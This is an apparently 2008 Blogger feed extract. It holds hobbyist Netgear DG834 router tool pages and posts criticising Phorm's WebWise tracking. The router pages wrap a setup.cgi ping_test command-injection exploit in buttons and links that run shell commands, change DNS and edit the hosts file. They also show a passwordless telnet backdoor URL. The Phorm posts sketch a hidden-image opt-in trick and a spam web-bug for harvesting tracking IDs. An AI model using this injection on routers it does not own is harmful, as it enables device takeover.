&lt;hr /&gt;&lt;h4&gt;Connection Table (ip_conntrack)&lt;/h4&gt;&lt;input onclick="window.open(&amp;quot;http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;echo+\\042\\\\074/textarea\\\\076\\\\074br\\\\076\\\\074textarea+rows=120+cols=140\\\\076\\042;cat+/proc/net/ip_conntrack;rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1&amp;gt;/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26to*};/bin/sh+/tmp/mel)+&amp;gt;%261+2&amp;gt;%261;&amp;quot;);" type="button" value="Show connections" /&gt;     &lt;input onclick="window.open(&amp;quot;http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;echo+\\042\\\\074/textarea\\\\076\\\\074br\\\\076\\\\074textarea+rows=120+cols=140\\\\076\\042;grep+-v+TIME_WAIT+/proc/net/ip_conntrack;rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1&amp;gt;/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26to*};/bin/sh+/tmp/mel)+&amp;gt;%261+2&amp;gt;%261;&amp;quot;);" type="button" value="Connections excluding TIME_WAIT" /&gt;  &lt;br /&gt;
&lt;hr /&gt;&lt;h4&gt;DNS Settings&lt;/h4&gt;&lt;input disabled="" id="SKUKdns1" size="15" type="text" value="90.207.238.99" /&gt; &lt;input disabled="" id="SKUKdns2" size="15" type="text" value="90.207.238.97" /&gt; &lt;input disabled="" id="dis3" onclick="window.open(&amp;quot;http://192.168.0.1/setup.cgi?PATH=/bin:/usr/sbin;nvram+set+wan_dns1=%DNS1%;nvram+set+wan_dns2=%DNS2%;nvram+set+wan_fix_dns=1;rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1&amp;gt;/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26to*};/bin/sh+/tmp/mel)+&amp;gt;%261+2&amp;gt;%261;&amp;quot;.replace(/%DNS1%/gm,document.getElementById(&amp;quot;SKUKdns1&amp;quot;).value).replace(/%DNS2%/gm,document.getElementById(&amp;quot;SKUKdns2&amp;quot;).value))" type="button" value="Use these name servers" /&gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;input disabled="" id="dis4" onclick="window.open(&amp;quot;http://192.168.0.1/setup.cgi?PATH=/bin:/usr/sbin;nvram+set+wan_dns1=;nvram+set+wan_dns2=;nvram+set+wan_fix_dns=0;rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1&amp;gt;/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26to*};/bin/sh+/tmp/mel)+&amp;gt;%261+2&amp;gt;%261;&amp;quot;)" type="button" value="Use ISP allocated Domain Name Servers (default)" /&gt;    &lt;br /&gt;
&lt;br /&gt;
Reboot the Router, or restart the PPP connection for DNS changes to take effect. If you input invalid DNS servers, you will be unable to access the internet - to restore the original setting click the "use ISP allocated Domain Name Servers (default)" button above. This change can also be cleared by resetting the router to factory settings using the reset button in the back&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This page must be downloaded and opened locally for these options to be enabled.   &lt;br /&gt;
&lt;hr /&gt;&lt;h4&gt;Add entries to router's hosts file&lt;/h4&gt;&lt;br /&gt;
These settings are not particularily useful unless your connection is 100% stable as the Netgear's host file &amp;amp; its dns server will be reset every time the PPP connection is re-established after a drop.   &lt;br /&gt;
&lt;br /&gt;
Enter IP address &amp;lt;space&amp;gt; hostname (eg. 192.168.0.10 mel.lan)&lt;br /&gt;
&lt;br /&gt;
&lt;textarea cols="29" id="SKUKdnsgtG" language="javascript" name="SKUKdnsgtGN" rows="9" style="height: 187px; width: 278px;"&gt;192.168.0.&lt;/textarea&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;input onclick="var hostsURL=&amp;quot;http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;cp+/proc/\\0140cat+/var/run/dnrd.pid\\0140/cmdline+/tmp/me;rc+dnrd+stop;echo+$DNRD\\076\\076/etc/hosts;\\0140grep+.+/tmp/me\\0140;rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1&amp;gt;/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26to*};/bin/sh+/tmp/mel)+&amp;gt;%261+2&amp;gt;%261;&amp;quot;;var a=document.getElementById(&amp;quot;SKUKdnsgtG&amp;quot;).value.replace(/\r?\n/igm,&amp;quot;\\n&amp;quot;).replace(/ /gm,&amp;quot;+&amp;quot;);window.open(hostsURL.replace(/\$DNRD/,a));" type="button" value="Add above to router's hosts file" /&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;input id="SKUK2dns1" size="15" type="text" value="90.207.238.99" /&gt; &lt;input id="SKUK2dns2" size="15" type="text" value="90.207.238.97" /&gt;  &lt;input onclick="var hostsURL=&amp;quot;http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;rc+dnrd+stop;dnrd+-a+192.168.0.1+-m+hosts+-c+off+--timeout=0+-b+-s+%DNS1%+-s+%DNS2%;rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1&amp;gt;/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26to*};/bin/sh+/tmp/mel)+&amp;gt;%261+2&amp;gt;%261;&amp;quot;.replace(/%DNS1%/gm,document.getElementById(&amp;quot;SKUK2dns1&amp;quot;).value).replace(/%DNS2%/gm,document.getElementById(&amp;quot;SKUK2dns2&amp;quot;).value);var a=document.getElementById(&amp;quot;SKUKdnsgtG&amp;quot;).value.replace(/\r?\n/igm,&amp;quot;\\n&amp;quot;).replace(/ /gm,&amp;quot;+&amp;quot;);window.open(hostsURL.replace(/\$DNRD/,a));" type="button" value="Use These Name Servers" /&gt; (doesn't survive connection drop or reboot)  &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1;PATH=$PATH:/bin:/usr/sbin;rc+dnrd+restart+%3e%261+2%3e%261;" rel="nofollow" target="_blank"&gt;Reset DNS Server&lt;/a&gt; &lt;span id="SKUKwhat"&gt;&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;hr /&gt;&lt;h4&gt;Router based "speed test"&lt;/h4&gt;&lt;br /&gt;
If you think poor speeds are caused by your PC or wireless link - This will download a file to the router and time the download (if this test fails to work choose a download file with a shorter URL)  Results are only a very rough estimate.  &lt;br /&gt;
&lt;br /&gt;
Input the URL of a file to download and its filesize (url must be quite short).&lt;br /&gt;
&lt;br /&gt;
Please be patient, the page will only open once the file download has completed. &lt;br /&gt;
&lt;br /&gt;
Download url &lt;input id="SKUKstfile" size="60" type="text" val2="largedownload.me 15672228" value="http://static.btopenworld.com/broadband/adhoc_pages/speedtest/files/smalldownload.me" /&gt;  &lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Filesize &lt;input id="SKUKstfilesize" type="text" value="5716212" /&gt;&lt;select id="SKUKbkmg"&gt;&lt;option value="128"&gt;Bytes&lt;/option&gt;&lt;option value="0.125"&gt;Kilobytes&lt;/option&gt;&lt;option value="0.0001220703"&gt;Megabytes&lt;/option&gt;&lt;/select&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;input onclick="testurl='http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;(S=$(cat+/proc/uptime);wget+-nv+%FILE%+-O+/dev/null;E=$(cat+/proc/uptime);echo+Speed=$((%SIZE%/$((${E%%.*}-${S%%.*}))))+Kbps);rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1&amp;gt;/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26t*};/bin/sh+/tmp/mel)%3e%261+2%3e%261'.replace(/%FILE%/,document.getElementById('SKUKstfile').value).replace(/%SIZE%/,Math.round(document.getElementById('SKUKstfilesize').value/document.getElementById('SKUKbkmg').options[document.getElementById('SKUKbkmg').options.selectedIndex].value));window.open(testurl);" type="button" value=" Run Speedtest " /&gt; (also works in Opera) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Alternative test: Downloads and displays the start and end times so that you can calculate the speed more accurately&lt;br /&gt;
&lt;br /&gt;
Download url &lt;input id="SKUKstfile2" size="60" type="text" value="http://static.btopenworld.com/broadband/adhoc_pages/speedtest/files/smalldownload.me" /&gt;    &lt;input onclick="var testurl='http://192.168.0.1/setup.cgi?PATH=/bin:/sbin:/usr/bin:/usr/sbin;(S=$(cat+/proc/uptime);wget+%FILE%+-O+/dev/null;E=$(cat+/proc/uptime);echo+end=${E%%+*};echo+start=${S%%+*});rm+$0&amp;amp;todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=127.0.0.1&amp;gt;/dev/null;(IFS=%2b;/bin/echo%3E/tmp/mel+${QUERY_STRING%25%25%26t*};/bin/sh+/tmp/mel)%3e%261+2%3e%261'.replace(/%FILE%/,document.getElementById('SKUKstfile2').value);window.open(testurl);" type="button" value="test" /&gt;  {44668/(end-start) Kbps}&lt;br /&gt;
&lt;br /&gt;
&lt;input onclick="SKUKadd2url();" type="button" value="-" /&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
  &lt;script&gt;
function SKUKadd2url(){
var l=location.pathname + '?host='+ document.getElementById('SKUKdnsgtG').value.replace(/\r?\n/igm,'/n').replace(/ /gm,'+')+ '&amp;snr=' + document.getElementById('SKUKgtsnr2').value+ '&amp;url=' +document.getElementById('SKUKipad').value;

location.href=l;
}


function SKUKurl2html(){


var a=location.search.match(/url=(.*?)(?=%26|&amp;|$)/im);if (a!=null &amp;&amp; a[1]!=null) {var ip=a[1]; 
var r = new RegExp('://[1]92.168.0.1/','gm');
document.getElementById('SKUKdg834gt').innerHTML=document.getElementById('SKUKdg834gt').innerHTML.replace(r,'://'+ip+'/');


document.getElementById('SKUKipad').value=ip;
}



var a=location.search.match(/host=(.*?)(?=%26|&amp;|$)/im);if (a!=null &amp;&amp; a[1]!=null) {var x=a[1]; 

document.getElementById('SKUKdnsgtG').value=x.replace(/\/n/igm,'\n').replace(/\+|%20/igm,' ') 
 };



var a=location.search.match(/SNR=(.*?)(?=%26|&amp;|$)/im);if (a!=null &amp;&amp; a[1]!=null) {var x=a[1]; 

document.getElementById('SKUKgtsnr2').value=x.replace(/\/n/igm,'\n').replace(/\+|%20/igm,' ') 
 };
var a=location.search.match(/DNS(?=%26|&amp;|$)/im);if (a!=null || location.protocol =="file:") {
document.getElementById('SKUKdns1').disabled=false;document.getElementById('SKUKdns2').disabled=false;document.getElementById('dis3').disabled=false;document.getElementById('dis4').disabled=false;
}

}
window.onload= SKUKurl2html;
&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-112703296342768943?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/112703296342768943/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=112703296342768943' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/112703296342768943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/112703296342768943'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2008/04/dg834gt-1skuk_20.html' title='Sky Netgear DG834GT-1skuk'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-6373699686282374016</id><published>2008-04-17T11:42:00.003Z</published><updated>2008-05-05T23:57:20.842Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='Phorming'/><title type='text'>WebWise? Phorming An Opinion</title><content type='html'>&lt;DIV&gt;&lt;STRONG&gt;Are&amp;nbsp;cookies a wise way to handle an   opt-out?&lt;/STRONG&gt;   &lt;HR style="COLOR: #d1d1e1" SIZE=1&gt;    &lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;&lt;/DIV&gt;  &lt;DIV&gt;I happened to see&amp;nbsp;&lt;A    href="http://groups.google.com/group/news.admin.net-abuse.email/browse_thread/thread/48e62939e58b079b"   target=_blank&gt;this javascript&lt;/A&gt;&amp;nbsp;about a month ago and almost immediately   noticed&amp;nbsp;a potential problem with the&amp;nbsp;way the opt-in works. As the issue would be blinding obvious to anyone with a minimal knowledge of web design and security, and the system isn't live, and the issue does not represent a security risk, and because the difference in opting in or out is questionable,    I&amp;nbsp;&lt;A    href="http://www.ispreview.co.uk/talk/showthread.php?t=26644"   target=_blank&gt;posted about it in a forum&lt;/A&gt;&amp;nbsp;that was being frequented by   PhormUKTechTeam at the time.&lt;/DIV&gt;  &lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;  &lt;DIV&gt;Contained within this javascript is the URL to enable or disable webwise, which is called with a   single parameter which requests either an opt-in cookie with an unique ID, or an opt-out cookie from the webwise.net server.    It seemed fairly likely that just by embedding a hidden image or iframe on a webpage, it would be possible to remotely enable targeted   advertising for visitors to that webpage from a "phorming" isp without their knowledge, let alone consent. &lt;/DIV&gt;  &lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;  &lt;DIV&gt;All that would be required is an image&amp;nbsp;tag   with the source pointing to the opt-in URL,&amp;nbsp;something like this:-   &lt;/DIV&gt;  &lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;  &lt;DIV&gt;"&amp;lt;img&amp;nbsp;src="Webwise_opt_in_URL" width=1   height=1&amp;gt;" &lt;/DIV&gt;  &lt;DIV&gt;&amp;nbsp;&amp;nbsp;&lt;/DIV&gt;  &lt;DIV&gt;Now this&amp;nbsp;opt-in method was no doubt "just a   test" and I expect this will be fixed by the time Phorm's webwise system finally   goes live, but for me it raises concerns&amp;nbsp;about the quality of the design   and coding.&lt;/DIV&gt;  &lt;DIV&gt;&lt;SPAN&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/DIV&gt;  &lt;DIV&gt;I don't expect it to work for long, but for the   time being here are a couple of buttons to opt-in or out   of&amp;nbsp;webwise.&amp;nbsp;They do nothing more than use javascript to open the opt-in or opt-out URL in a hidden&amp;nbsp;iframe.&amp;nbsp;Opting in will create a   cookie&amp;nbsp;in the a.webwise.net&amp;nbsp;domain&amp;nbsp;UID=xxxxxxxxxxxx|| where xxxxxxxxxxx is a 22 character   (128 bit base64 encoded unique ID) and&amp;nbsp;if present remove the webwise.net OPTED_OUT   cookie (and vice versa).&amp;nbsp;&amp;nbsp;&lt;/DIV&gt;  &lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;  &lt;DIV&gt;&lt;SPAN&gt;&lt;/SPAN&gt;&lt;BR&gt;&lt;iframe name=hidden_iframe FRAMEBORDER=0 SCROLLING=NO height=1 width=1 &gt;&lt;/iframe&gt;&lt;BR&gt;  &lt;INPUT TYPE=button VALUE="Opt-in to Phorm" onClick="frames['hidden_iframe'].location.href='http://a.webwise.net/services/OO?op=in'"&gt;    &lt;INPUT TYPE=button VALUE='"Opt-out" of phorm' onClick="frames['hidden_iframe'].location.href='http://a.webwise.net/services/OO?op=out'"&gt;   &lt;/DIV&gt;  &lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;  &lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;&lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;  &lt;DIV&gt;&amp;nbsp;&lt;/DIV&gt;  &lt;DIV&gt;&lt;STRONG&gt;Leaking Webwise UID&lt;/STRONG&gt;  &lt;HR style="COLOR: #d1d1e1" SIZE=1&gt;&lt;br&gt;  &lt;BR&gt;  Richard Clayton notes in point 24 of his analysis of &lt;a href="http://www.cl.cam.ac.uk/~rnc1/080404phorm.pdf"&gt;  the Phorm "webwise" system&lt;/a&gt; that the webwise UID of visitors to a website will be visible to that website if any subsequent accesses to it use "https"  protocol (also see points 20 to 26). He also reports that the Layer 7 switch only inspects traffic on port 80, this would suggest that the webwise UID will also be visible to a website if it uses a port other than 80 for a subsequent access.  &lt;BR&gt;         &lt;HR style="COLOR: #d1d1e1" SIZE=1&gt;&lt;br&gt;  &lt;DIV&gt;&lt;STRONG&gt;Linking email addresses to webwise UID by spamming?&lt;/STRONG&gt;   &lt;HR style="COLOR: #d1d1e1" SIZE=1&gt;&lt;br&gt;    &lt;DIV&gt;Do any modern email clients still share cookies with a browser? Hmm, I   guess webmail services.&lt;BR&gt;&lt;BR&gt;Only it occurred to me that by spamming everybody @a_phorming_isp.com   with an html email that contained a webbug designed to capture the UID,   it might be possible for a spammer to compile a database of UIDs linked to email addresses.     &lt;BR&gt;&lt;BR&gt;  The webbug could be an http: image link containing the email address it was sent to   (ie your email address) suitably encoded eg:-   &lt;BR&gt;&lt;BR&gt;"http://Spammer.con/phormbug_YourEmailAddressHere.jpg" &lt;BR&gt;&lt;BR&gt;      If you view the email, your email client would request the image.&lt;BR&gt;&lt;BR&gt;  Phorm would use its triple redirect jiggery-pokery to intercept this request and copy the   webwise.net UID to a webwise cookie in the "Spammer.con" domain, and redirect the client so that it resends the original request.&lt;BR&gt;&lt;BR&gt;  The spammer's server would then reply with a redirect to a php script with an https: URL in the same domain.    eg&lt;BR&gt;&lt;BR&gt;"https://Spammer.con/phormbug_YourEmailAddressHere.php"&lt;BR&gt;&lt;BR&gt;The email   client automatically requests this https: url sending the webwise UID cookie.  &lt;BR&gt;&lt;BR&gt;Using https: encryption bypasses phorm's intercept of the UID cookie,   delivering the UID (cookie) and email address (encoded in the URL) to the spammer.&lt;BR&gt;&lt;BR&gt;The spammer then   sells a service to websites that allows them to email targeted spam to visitors   to their website.&lt;/DIV&gt;  &lt;DIV&gt;&lt;BR&gt;&lt;BR&gt;  The email itself could purport to have been sent by a major retailer and to contain a printable &amp;pound;10 discount voucher, it might prove incentive enough to encourage recipients to view it, but I'm sure spammers could devise even better inducements.  &lt;BR&gt;&lt;BR&gt;
&lt;BR&gt; Spammers could also capture the webwise UID and associate it with the user's  email address by tricking the Phorm user into clicking on a link within the email (which contains the email address it was sent to encoded/obfusticated within the link). This wouldn't be limited to webmail.  
&lt;BR&gt;&lt;BR&gt;
The Phorm user's browser would attempt to open the page, phorm would intercept it and add its UID cookie to the domain, the spammers website would redirect the request to an https: page, and the phorm user's browser would re-request the https: page, passing the phorm webwise cookie to the site. &lt;BR&gt; &lt;BR&gt; Phorm's selling point to users is anti-phisishing protection, so the users who might benefit from Phorm (if they didn't already have anti-phisihing protection), would be the same users who would be likely to click on the link.    


&lt;BR&gt;&lt;BR&gt;  &lt;UR&gt;&lt;BR&gt;&lt;A      href="http://petitions.pm.gov.uk/ispphorm/" target=_blank&gt;&lt;U&gt;Please sign the   &lt;FONT color=red&gt;petition against ISPs monitoring your browsing activity for   advertising purposes&lt;/FONT&gt;&lt;/U&gt;&lt;/A&gt;&lt;BR&gt;&lt;/DIV&gt;&lt;/DIV&gt;&lt;/DIV&gt;  &lt;BR&gt;       &lt;HR style="COLOR: #d1d1e1" SIZE=1&gt;&lt;br&gt;  &lt;STRONG&gt;Using the webwise UID with a third party tracking system?&lt;/STRONG&gt;   &lt;HR style="COLOR: #d1d1e1" SIZE=1&gt;&lt;br&gt;    Tracking cookies are used by "data mining" companies to collect data as your visit partner websites.  Some people consider them a privacy issue, and programs such as Ad-Aware identify and remove a large number of tracking cookies.  &lt;BR&gt; &lt;BR&gt;  A leaking webwise UID could be captured by such a tracking system and by doing so, should its own Unique ID cookie  be deleted, it could use the webwise UID to re-identify the visitor and restore its original UID cookie.  &lt;BR&gt;&lt;BR&gt;  If a user opts out of webwise and subsequently opts back in, it would be possible for the third party  tracking system to associate the new UID to the user's old UID, something webwise claim not to be able to  do themselves.  &lt;BR&gt;&lt;BR&gt;  Only by deleting both the tracking cookie and ALL webwise created cookies, including those stored in other domains,   would it be possible for a user to ensure that they could not be re-identified by a third party tracking system.  &lt;BR&gt;&lt;BR&gt;      &lt;HR style="COLOR: #d1d1e1" SIZE=1&gt;          &lt;br&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-6373699686282374016?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/6373699686282374016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=6373699686282374016' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/6373699686282374016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/6373699686282374016'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2008/04/webwise-phorming-opinion_4818.html' title='WebWise? Phorming An Opinion'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-5783809142147883917</id><published>2008-04-15T20:18:00.007Z</published><updated>2008-04-15T21:07:17.043Z</updated><title type='text'>Phorm Rant</title><content type='html'>Why I'm happy to use Google, but wouldn't countenance phorm.
&lt;BR&gt;&lt;BR&gt;
In response to a post by Alex in www.badphorm.co.uk.
&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;
Well I know you didn't ask me, but if I might answer anyway.
&lt;BR&gt;&lt;BR&gt;

Search engine provide me with a valuable service. Phorm's webwise is a disservice I can do without.&lt;BR&gt;&lt;BR&gt;

I can control what information search engines get to see about me, I don't have to use them at all if I don't want to, and so I don't have to be confident that I can trust them, or worry too much if they are secure. 
&lt;BR&gt;&lt;BR&gt;  
I can't avoid all my traffic passing though my ISP's network except by moving ISP, but I trust my ISP primarily because I know it would be ILLEGAL for them to intercept my communications, and also to a lesser extent because I know that the shear bulk of other customer's communications make it highly unlikely that they would intercept mine unless they had a very good reason to want to target me.
&lt;BR&gt;&lt;BR&gt;
Now phorm on the other hand, has the potential to intercept all my non-encrypted communications, and I'm expected to trust them and I'm expected to trust a Phorming ISP that has installed equipment designed to be able to analyse all of its customers browsing traffic en-mass, and apparently claims it is no longer bound by the legal requirement not to intercept my communications, because it has supposedly got my permission by using Man-In-The-Middle techniques to check for an opt-out cookie! 
&lt;BR&gt;&lt;BR&gt;

I'm also expected to trust that the level of detail of the information you collect and the extent to which you share it will never expand, even when advertisers start increasingly demanding more useful data and your competitors offer phorming ISPs superior systems that collect more detailed data that advertisers will pay more to exploit.
&lt;BR&gt;&lt;BR&gt;
I'm also expected to trust that your system is secure, and that a hacker could never break in to it and find a way to subvert it into collecting the sort of data hackers are interested in. However small you might claim it is, why the hell would I take the risk!
&lt;BR&gt;&lt;BR&gt;
In short, no I would not be comfortable using any ISP that had such a system connected to its network and I'd question the wisdom of anyone that is.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979318544872859116-5783809142147883917?l=pathogenrush.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pathogenrush.blogspot.com/feeds/5783809142147883917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5979318544872859116&amp;postID=5783809142147883917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/5783809142147883917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979318544872859116/posts/default/5783809142147883917'/><link rel='alternate' type='text/html' href='http://pathogenrush.blogspot.com/2008/04/phorm-rant.html' title='Phorm Rant'/><author><name>Mel</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979318544872859116.post-2374882090330746895</id><published>2008-01-11T00:43:00.001Z</published><updated>2011-10-15T19:12:17.464Z</updated><title type='text'>Netgear DG834G</title><content type='html'>&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;
&lt;hr /&gt;&lt;div id="dg834"&gt;&lt;input id="ipadG" size="15" type="text" value="192.168.0.1" /&gt;&lt;input onclick="add2urlG();" type="button" value="change ip" /&gt;   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;(/sbin/ifconfig+ppp0;/bin/echo+-e+Uptime+%60/bin/cat+/proc/uptime%60+%5C%5CnWan+up+%60/bin/cat+/tmp/wan_uptime%60;/bin/cat+/proc/avalanche/*modem*;/usr/sbin/adslctl+info+--stats;/bin/echo+%22%3C/textarea%3E%3Cscript%3Evar+a=document.getElementsByName(%5C%22ping_result%5C%22);a[0].rows=40;a[0].cols=100;%3C/script%3E%22)%3E%261" rel="nofollow" target="_blank"&gt;Detailed Stats&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
"Trained Path:" appears to indicate if your connection is interleaved. &lt;br /&gt;
&lt;br /&gt;
Trained Path: 0 = Fast path. Trained Path: 1 = Interleaved. &lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;(/bin/cat+/proc/net/ip_conntrack;/bin/echo+%22%3C/textarea%3E%3Cscript%3Evar+a=document.getElementsByName(%5C%22ping_result%5C%22);a[0].rows=40;a[0].cols=150;%3C/script%3E%22)%3e%261" rel="nofollow" target="_blank"&gt;ip_contrack&lt;/a&gt; Routing table. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;hr /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;To enable telnet access on a Netgear DG834(G) &lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=debug" rel="nofollow" target="_blank"&gt;http://192.168.0.1/setup.cgi?todo=debug&lt;/a&gt; - this launches utelnetd -d  &lt;br /&gt;
&lt;br /&gt;
There is no root password so while enabled, everyone on the lan will have telnet access. Disable in the terminal by typing "killall utelnetd" &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;To enable ppp debugging&lt;/b&gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ppp_debug" rel="nofollow" target="_blank"&gt;http://192.168.0.1/setup.cgi?todo=ppp_debug&lt;/a&gt;  &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This puts pppd in debug mode and logs the establishment of the connection - LCP traffic to /tmp/ppp_log NB the output includes username and encrypted password.  &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/ppp_log" rel="nofollow" target="_blank"&gt;http://192.168.0.1/ppp_log&lt;/a&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;To view ppp_log  &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=ping_test&amp;amp;next_file=diagping.htm&amp;amp;c4_IPAddr=1;(/bin/rm%20/tmp/ppp_log;)%3E%261+2%3E%261;" rel="nofollow" target="_blank"&gt;Delete ppp_log&lt;/a&gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;To enable VPN debugging&lt;/b&gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/setup.cgi?todo=vpn_debug" rel="nofollow"&gt;http://192.168.0.1/setup.cgi?todo=vpn_debug&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Select between Modem Only Mode (PPPoE bridge) and Router Mode&lt;/b&gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://192.168.0.1/mode.htm" rel="nofollow" target="_blank"&gt;http://192.168.0.1/mode.htm&lt;/a&gt; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Disable Configuration Assistant&lt;/b&gt;  &lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://www.routerlogin.com/CA_HiddenPage.htm" rel="nofollow" target="_blank"&gt;http://www.routerlogin.com/CA_HiddenPage.htm&lt;/a&gt; use this if you get stuck in the smart wizard (configuration assistant). &lt;br /&gt;
&lt;br /&gt;
&lt;hr /&gt;&lt;br /&gt;
